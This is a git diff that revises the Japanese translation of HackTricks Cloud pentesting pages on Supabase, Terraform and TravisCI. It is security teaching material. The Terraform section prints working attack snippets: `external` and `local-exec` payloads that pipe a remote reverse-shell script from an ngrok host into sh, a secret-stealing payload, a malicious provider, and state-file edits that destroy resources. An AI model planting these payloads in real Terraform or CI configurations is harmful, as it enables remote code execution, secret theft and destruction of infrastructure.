-このAPIに接触するためのAPI RESTは[**ドキュメント**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)で見つけることができますが、最も興味深いエンドポイントは次のとおりです：
+このAPIに連絡するためのAPI RESTは[**ドキュメント**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)で見つけることができますが、最も興味深いエンドポイントは次のとおりです：
 
 <details>
 
@@ -99,9 +99,9 @@ Priority: u=1, i
 ```
 </details>
 
-だから、クライアントが与えられたサブドメインを使用してsupabaseを利用していることを発見した場合（会社のサブドメインが彼らのsupabaseサブドメインにCNAMEを持っている可能性があります）、**supabase APIを使用してプラットフォームに新しいアカウントを作成する**ことを試みるかもしれません。
+クライアントが付与されたサブドメインを使用してsupabaseを利用していることを発見した場合（会社のサブドメインが彼らのsupabaseサブドメインにCNAMEを持つ可能性があります）、**supabase APIを使用して新しいアカウントを作成する**ことを試みることができます。
 
-### secret / service_role api keys
+### secret / service_role APIキー
 
 **`role: "service_role"`**を持つ秘密のAPIキーも生成されます。このAPIキーは、**Row Level Security**をバイパスできるため、秘密にしておく必要があります。
 
@@ -111,48 +111,48 @@ APIキーは次のようになります: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e
 
 **JWT Secret**も生成され、アプリケーションが**カスタムJWTトークンを作成および署名**できるようになります。
 
-## Authentication
+## 認証
 
-### Signups
+### サインアップ
 
 > [!TIP]
-> **デフォルト**では、supabaseは**新しいユーザーがアカウントを作成する**ことをプロジェクトで許可します。 
+> **デフォルト**では、supabaseは**新しいユーザーがプロジェクトにアカウントを作成する**ことを許可します。
 
-しかし、これらの新しいアカウントは、デフォルトで**メールアドレスを検証する必要があります**。メールアドレスを検証せずにログインできるようにするために、**「匿名サインインを許可」**を有効にすることが可能です。これにより、**予期しないデータ**にアクセスできる可能性があります（彼らは`public`と`authenticated`の役割を得ます）。\
-これは非常に悪いアイデアです。なぜなら、supabaseはアクティブユーザーごとに料金を請求するため、人々はユーザーを作成してログインし、supabaseはそれに対して料金を請求するからです：
+ただし、これらの新しいアカウントは、デフォルトで**メールアドレスを確認する必要があります**。メールアドレスを確認せずにログインできるようにするには、**「匿名サインインを許可」**を有効にすることができます。これにより、**予期しないデータ**にアクセスできる可能性があります（彼らは`public`および`authenticated`の役割を取得します）。\
+これは非常に悪いアイデアです。なぜなら、supabaseはアクティブユーザーごとに料金を請求するため、人々がユーザーを作成してログインし、supabaseがそれに対して料金を請求する可能性があるからです：
 
 <figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Passwords & sessions
+### パスワードとセッション
 
 最小パスワード長（デフォルト）、要件（デフォルトではなし）を指定し、漏洩したパスワードの使用を禁止することが可能です。\
-**デフォルトの要件は弱いため、要件を改善することをお勧めします**。
+デフォルトの要件は弱いため、**要件を改善することをお勧めします**。
 
 - ユーザーセッション: ユーザーセッションの動作を構成することが可能です（タイムアウト、ユーザーごとに1セッション...）
 - ボットおよび悪用保護: Captchaを有効にすることが可能です。
 
-### SMTP Settings
+### SMTP設定
 
 メールを送信するためのSMTPを設定することが可能です。
 
-### Advanced Settings
+### 高度な設定
 
 - アクセストークンの有効期限を設定（デフォルトは3600）
-- 潜在的に侵害されたリフレッシュトークンを検出して取り消し、タイムアウトを設定
+- 潜在的に侵害されたリフレッシュトークンを検出して取り消すように設定し、タイムアウトを設定
 - MFA: ユーザーごとに同時に登録できるMFA要素の数を指定（デフォルトは10）
-- 最大直接データベース接続: 認証に使用される最大接続数（デフォルトは10）
+- 最大直接データベース接続: 認証に使用される接続の最大数（デフォルトは10）
 - 最大リクエスト期間: 認証リクエストが持続できる最大時間（デフォルトは10秒）
 
-## Storage
+## ストレージ
 
 > [!TIP]
-> Supabaseは**ファイルを保存し**、URL経由でアクセス可能にします（S3バケットを使用します）。
+> Supabaseは**ファイルを保存し**、URLを介してアクセス可能にします（S3バケットを使用します）。
 
 - アップロードファイルサイズの制限を設定（デフォルトは50MB）
 - S3接続は次のようなURLで提供されます: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-- `access key ID`（例: `a37d96544d82ba90057e0e06131d0a7b`）と`secret access key`（例: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`）から構成される**S3アクセスキーを要求する**ことが可能です。
+- `access key ID`（例: `a37d96544d82ba90057e0e06131d0a7b`）と`secret access key`（例: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`）で構成される**S3アクセスキーを要求**することが可能です。
 
-## Edge Functions
+## エッジ関数
 
 supabaseに**秘密を保存する**ことも可能で、これは**エッジ関数によってアクセス可能**です（ウェブから作成および削除できますが、その値に直接アクセスすることはできません）。
 

src/pentesting-ci-cd/terraform-security.md

@@ -6,7 +6,7 @@
 
 [ドキュメントから:](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
+HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい構成ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
 
 #### Terraformはどのように機能しますか？
 
@@ -14,13 +14,13 @@ Terraformは、クラウドプラットフォームや他のサービス上で
 
 ![](<../images/image (177).png>)
 
-HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千の異なるタイプのリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
+HashiCorpとTerraformコミュニティは、すでに**1700以上のプロバイダー**を作成しており、数千種類のリソースやサービスを管理でき、この数は増え続けています。すべての公開されているプロバイダーは、[Terraform Registry](https://registry.terraform.io/)で見つけることができ、Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDogなどが含まれます。
 
-Terraformのコアワークフローは、3つのステージで構成されています。
+コアTerraformワークフローは、3つのステージで構成されています：
 
-- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド（VPC）ネットワーク上の仮想マシンにアプリケーションをデプロイするための設定を作成することがあります。
-- **計画:** Terraformは、既存のインフラストラクチャと設定に基づいて、作成、更新、または削除するインフラストラクチャを説明する実行計画を作成します。
-- **適用:** 承認後、Terraformはリソースの依存関係を尊重しながら、提案された操作を正しい順序で実行します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。
+- **書き込み:** 複数のクラウドプロバイダーやサービスにまたがるリソースを定義します。たとえば、セキュリティグループとロードバランサーを持つ仮想プライベートクラウド（VPC）ネットワーク上の仮想マシンにアプリケーションをデプロイするための構成を作成することがあります。
+- **計画:** Terraformは、既存のインフラストラクチャと構成に基づいて、作成、更新、または破棄するインフラストラクチャを説明する実行計画を作成します。
+- **適用:** 承認後、Terraformは提案された操作を正しい順序で実行し、リソースの依存関係を尊重します。たとえば、VPCのプロパティを更新し、そのVPC内の仮想マシンの数を変更した場合、Terraformは仮想マシンをスケールする前にVPCを再作成します。
 
 ![](<../images/image (215).png>)
 
@@ -28,33 +28,33 @@ Terraformのコアワークフローは、3つのステージで構成されて
 
 コンピュータにterraformをインストールするだけです。
 
-こちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
+ここに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、ここにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
 
 ## TerraformにおけるRCE
 
-Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform設定ファイルを追加/変更できること**です。
+Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協する唯一の方法は、**terraform構成ファイルを追加または変更できること**です。
 
 しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つ必要があります。
 
-攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform設定を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。
+攻撃者がterraformが実行されているシステムを妥協する主な方法は、**terraform構成を保存するリポジトリを妥協すること**です。なぜなら、ある時点でそれらは**解釈される**からです。
 
-実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります：
+実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。例えば、**Atlantis**：
 
 {{#ref}}
 atlantis-security.md
 {{#endref}}
 
-terraformファイルを妥協できれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
+terraformファイルを妥協できる場合、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行する方法はいくつかあります。
 
 ### Terraform plan
 
-Terraform planは、terraformで**最も使用されるコマンド**であり、開発者やソリューションが常に呼び出すため、**RCEを取得する最も簡単な方法**は、任意のコマンドを実行するterraform設定ファイルを汚染することです。
+Terraform planは、terraformで**最も使用されるコマンド**であり、terraformを使用する開発者やソリューションは常に呼び出します。したがって、**RCEを取得する最も簡単な方法**は、`terraform plan`で任意のコマンドを実行するようにterraform構成ファイルを汚染することです。
 
 **外部プロバイダーを使用する**
 
-Terraformは、Terraformと外部プログラムの間でインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。
+Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`plan`中に任意のコードを実行するために`external`データソースを使用できます。
 
-terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます：
+terraform構成ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます：
 ```javascript
 data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **カスタムプロバイダーの使用**
 
-攻撃者は、[Terraform Registry](https://registry.terraform.io/)に[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を送信し、その後、機能ブランチのTerraformコードに追加することができます（[こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)）：
+攻撃者は[カスタムプロバイダー](https://learn.hashicorp.com/tutorials/terraform/provider-setup)を[Terraform Registry](https://registry.terraform.io/)に送信し、その後、機能ブランチのTerraformコードに追加することができます（[こちらの例](https://alex.kaskaso.li/post/terraform-plan-rce)）：
 ```javascript
 terraform {
 required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
 
 provider "evil" {}
 ```
-プロバイダーは `init` でダウンロードされ、`plan` が実行されるときに悪意のあるコードが実行されます。
+プロバイダーは`init`でダウンロードされ、`plan`が実行されると悪意のあるコードが実行されます。
 
-[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) に例があります。
+例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。
 
-**外部参照の使用**
+**外部参照を使用する**
 
-前述の2つのオプションは便利ですが、あまりステルス性がありません（2つ目はよりステルス性がありますが、1つ目よりも複雑です）。以下の提案に従うことで、この攻撃を**よりステルスに**実行できます：
+前述の2つのオプションは便利ですが、あまりステルス性がありません（2つ目はよりステルス性がありますが、1つ目よりも複雑です）。以下の提案に従うことで、この攻撃を**よりステルスに**実行することができます：
 
-- terraformファイルにrev shellを直接追加する代わりに、rev shellを含む**外部リソースをロード**することができます：
+- terraformファイルにrevシェルを直接追加する代わりに、revシェルを含む**外部リソースをロード**することができます：
 ```javascript
 module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+リバースシェルコードは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)で見つけることができます。
 
-- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
-Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を使って注入することでRCEを取得するために悪用することもできます。**\
-`main.tf`ファイルに次のようなペイロードが含まれていることを確認するだけです:
+Terraform applyはすべての変更を適用するために実行されますが、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\
+`main.tf`ファイルの最後に次のようなペイロードが含まれていることを確認するだけです:
 ```json
 // Payload 1 to just steal a secret
 resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-**前の技術からの提案**に従って、この攻撃を**外部参照を使用してよりステルス的に実行**します。
+前の技術からの**提案に従って**、この攻撃を**外部参照を使用してよりステルス的に実行**します。
 
-## シークレットダンプ
+## Secrets Dumps
 
-`terraform apply`を実行することで**terraformによって使用されるシークレット値をダンプ**するには、terraformファイルに次のようなものを追加します:
+`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**するには、terraformファイルに次のようなものを追加します:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
@@ -130,9 +130,9 @@ terraformステートファイルに書き込みアクセスがあるが、terra
 
 リソースを破壊する方法は2つあります：
 
-1. **実際のリソースを削除するために、ランダムな名前のリソースをステートファイルに挿入する**
+1. **実際のリソースを破壊するために、ランダムな名前のリソースをステートファイルに挿入する**
 
-terraformはそのリソースが存在すべきではないと判断し、それを削除します（指定された実際のリソースIDに従って）。前のページの例：
+terraformはそのリソースが存在すべきではないと判断し、それを破壊します（指定された実際のリソースIDに従って）。前のページの例：
 ```json
 {
 "mode": "managed",
@@ -148,13 +148,13 @@ terraformはそのリソースが存在すべきではないと判断し、そ
 ]
 },
 ```
-2. **リソースを削除するように変更し、更新できないようにする（そうすれば削除され再作成される）**
+2. **リソースを削除するように変更して、更新できないようにする（そうすれば削除されて再作成される）**
 
-EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformはそれを削除して再作成します。
+EC2インスタンスの場合、インスタンスのタイプを変更するだけで、terraformが削除して再作成します。
 
 ### RCE
 
-[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加することができます。元の研究からの例:
+[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことも可能で、terraformステートファイル内のプロバイダーの1つを悪意のあるものに置き換えるか、悪意のあるプロバイダーを持つ空のリソースを追加します。元の研究からの例:
 ```json
 "resources": [
 {
@@ -169,7 +169,7 @@ EC2インスタンスの場合、インスタンスのタイプを変更する
 ```
 ### ブラックリストに登録されたプロバイダーの置き換え
 
-`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開されている external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。
+`hashicorp/external` がブラックリストに登録されている状況に遭遇した場合、次の手順で `external` プロバイダーを再実装できます。注意: https://registry.terraform.io/providers/nazarewk/external/latest に公開された external プロバイダーのフォークを使用しています。自分自身のフォークや再実装を公開することもできます。
 ```terraform
 terraform {
 required_providers {
@@ -206,11 +206,11 @@ snyk iac test /path/to/terraform/code
 ```
 ### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
 
-**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。
+**Checkov**は、インフラストラクチャをコードとして扱う（IaC）ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析（SCA）ツールでもあります。
 
-これは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
+それは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/)を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
 
-これは、一般的な脆弱性および露出 (CVE) のためのオープンソースパッケージと画像のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。
+それは、一般的な脆弱性および露出（CVE）に対するオープンソースパッケージと画像のスキャンである[ソフトウェア構成分析（SCA）スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)を実行します。
 ```bash
 pip install checkov
 checkov -d /path/to/folder
@@ -223,8 +223,8 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com
 - **behaviour driven development:** ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか？
 - **portable:** `pip` からインストールするか、`docker` 経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/) を参照してください
 - **pre-deploy:** デプロイされる前にコードを検証します
-- **easy to integrate:** パイプライン（またはgitフック）で実行でき、すべてのデプロイメントが検証されることを保証します。
-- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。
+- **easy to integrate:** パイプライン（またはgitフック）で実行して、すべてのデプロイが検証されることを保証できます。
+- **segregation of duty:** テストを別のリポジトリに保管し、別のチームが責任を持つことができます。
 
 > [!NOTE]
 > 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan` を実行してこのツールを使用することはできません。
@@ -254,7 +254,7 @@ tfsec /path/to/folder
 ```
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-インフラストラクチャコードの開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
+**KICS**を使用して、インフラストラクチャコードの開発サイクルの初期段階でセキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を見つけます。
 
 **KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
 ```bash
@@ -262,13 +262,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 ```
 ### [Terrascan](https://github.com/tenable/terrascan)
 
-From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことができます：
+From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コードアナライザーです。Terrascanを使用すると、次のことができます：
 
 - インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。
-- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、姿勢の変化を引き起こすものを特定し、安全な姿勢に戻すことを可能にします。
+- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを導入し、セキュアなポスチャーに戻すことを可能にします。
 - セキュリティの脆弱性やコンプライアンス違反を検出します。
 - クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
-- ローカルで実行する柔軟性や、CI\CDと統合することを提供します。
+- ローカルで実行する柔軟性や、CI\CDと統合することができます。
 ```bash
 brew install terrascan
 ```

src/pentesting-ci-cd/todo.md

@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Github PRsは、攻撃者の視点からこれらのプラットフォームをどのように（悪用）するかを説明することを歓迎します。
+攻撃者の視点からこれらのプラットフォームをどのように（悪用）するかを説明するGithub PRを歓迎します
 
 - Drone
 - TeamCity

src/pentesting-ci-cd/travisci-security/README.md

@@ -1,63 +1,63 @@
-# TravisCI Security
+# TravisCI セキュリティ
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is TravisCI
+## TravisCI とは
 
-**Travis CI**は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、いくつかの**異なるgitプラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。
+**Travis CI** は、**ホスティング**または**オンプレミス**の**継続的インテグレーション**サービスで、複数の**異なる git プラットフォーム**にホストされたソフトウェアプロジェクトをビルドおよびテストするために使用されます。
 
 {{#ref}}
 basic-travisci-information.md
 {{#endref}}
 
-## Attacks
+## 攻撃
 
-### Triggers
+### トリガー
 
-攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCIは**プッシュとプルリクエストでビルドをトリガーします**：
+攻撃を開始するには、まずビルドをトリガーする方法を知っておく必要があります。デフォルトでは、TravisCI は**プッシュとプルリクエストでビルドをトリガーします**：
 
 ![](<../../images/image (145).png>)
 
-#### Cron Jobs
+#### Cron ジョブ
 
-ウェブアプリケーションにアクセスできる場合、**ビルドを実行するためのクロンを設定できます**。これは持続性のためやビルドをトリガーするために役立つかもしれません：
+Web アプリケーションにアクセスできる場合、**ビルドを実行するための cron を設定できます**。これは持続性のためやビルドをトリガーするために役立ちます：
 
 ![](<../../images/image (243).png>)
 
 > [!NOTE]
-> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml`内でクロンを設定することはできないようです。
+> [これ](https://github.com/travis-ci/travis-ci/issues/9162)によると、`.travis.yml` 内で cron を設定することはできないようです。
 
-### Third Party PR
+### サードパーティ PR
 
-TravisCIはデフォルトで、第三者からのPRと環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリにPRを作成して秘密を抽出することができます：
+TravisCI はデフォルトでサードパーティからの PR と環境変数を共有することを無効にしていますが、誰かがそれを有効にすると、リポジトリに PR を作成して秘密を抽出することができます：
 
 ![](<../../images/image (208).png>)
 
-### Dumping Secrets
+### 秘密のダンプ
 
-[**基本情報**](basic-travisci-information.md)ページで説明されているように、秘密には2種類あります。**環境変数の秘密**（ウェブページにリストされています）と、**カスタム暗号化された秘密**で、これは`.travis.yml`ファイル内にbase64として保存されています（両方とも暗号化されて保存されると、最終的なマシンの環境変数として表示されます）。
+[**基本情報**](basic-travisci-information.md) ページで説明されているように、秘密には 2 種類あります。**環境変数の秘密**（Web ページにリストされています）と、**カスタム暗号化された秘密**で、これは `.travis.yml` ファイル内に base64 として保存されています（両方とも暗号化されて保存されると、最終的なマシンの環境変数として扱われます）。
 
-- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクトの環境変数は、ビルドをトリガーすると表示されることに注意してください。
-- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml`ファイルを確認する**ことです。
-- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc`ファイル**を確認するか、設定ファイル内の`openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d`に似た行を探すか、次のような**環境変数**内の**暗号化されたivとキー**を探します：
+- **環境変数**として設定された**秘密を列挙する**には、**プロジェクト**の**設定**に移動し、リストを確認します。ただし、ここで設定されたすべてのプロジェクト環境変数は、ビルドをトリガーすると表示されることに注意してください。
+- **カスタム暗号化された秘密**を列挙するには、最善の方法は**`.travis.yml` ファイルを確認する**ことです。
+- **暗号化されたファイル**を列挙するには、リポジトリ内の**`.enc` ファイル**を確認するか、設定ファイル内の `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` に似た行を探すか、次のような**環境変数**内の**暗号化された iv とキー**を探します：
 
 ![](<../../images/image (81).png>)
 
 ### TODO:
 
-- Windows/Mac/Linuxでリバースシェルを実行する例のビルド
-- ログにエンコードされた環境変数を漏洩させる例のビルド
+- Windows/Mac/Linux で実行されるリバースシェルを持つビルドの例
+- ログにエンコードされた環境変数を漏洩させるビルドの例
 
-### TravisCI Enterprise
+### TravisCI エンタープライズ
 
-攻撃者が**TravisCIエンタープライズ**を使用している環境に入った場合（これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照）、彼は**Workerでビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります：
+攻撃者が**TravisCI エンタープライズ**を使用している環境に入った場合（これについての詳細は[**基本情報**](basic-travisci-information.md#travisci-enterprise)を参照）、彼は**Worker でビルドをトリガーする**ことができます。これは、攻撃者がそのサーバーに横移動できることを意味し、そこから次のことが可能になります：
 
-- ホストに逃げる？
-- Kubernetesを侵害する？
-- 同じネットワーク内で動作している他のマシンを侵害する？
+- ホストに脱出する？
+- Kubernetes を侵害する？
+- 同じネットワーク内の他のマシンを侵害する？
 - 新しいクラウド資格情報を侵害する？
 
-## References
+## 参考文献
 
 - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
 - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)

src/pentesting-ci-cd/travisci-security/basic-travisci-information.md

@@ -1,10 +1,10 @@
-# Basic TravisCI Information
+# 基本的なTravisCI情報
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## アクセス
 
-TravisCIは、Github、Bitbucket、Assembla、Gitlabなどのさまざまなgitプラットフォームと直接統合されます。ユーザーにTravisCIが統合したいリポジトリにアクセスするための権限を与えるよう求めます。
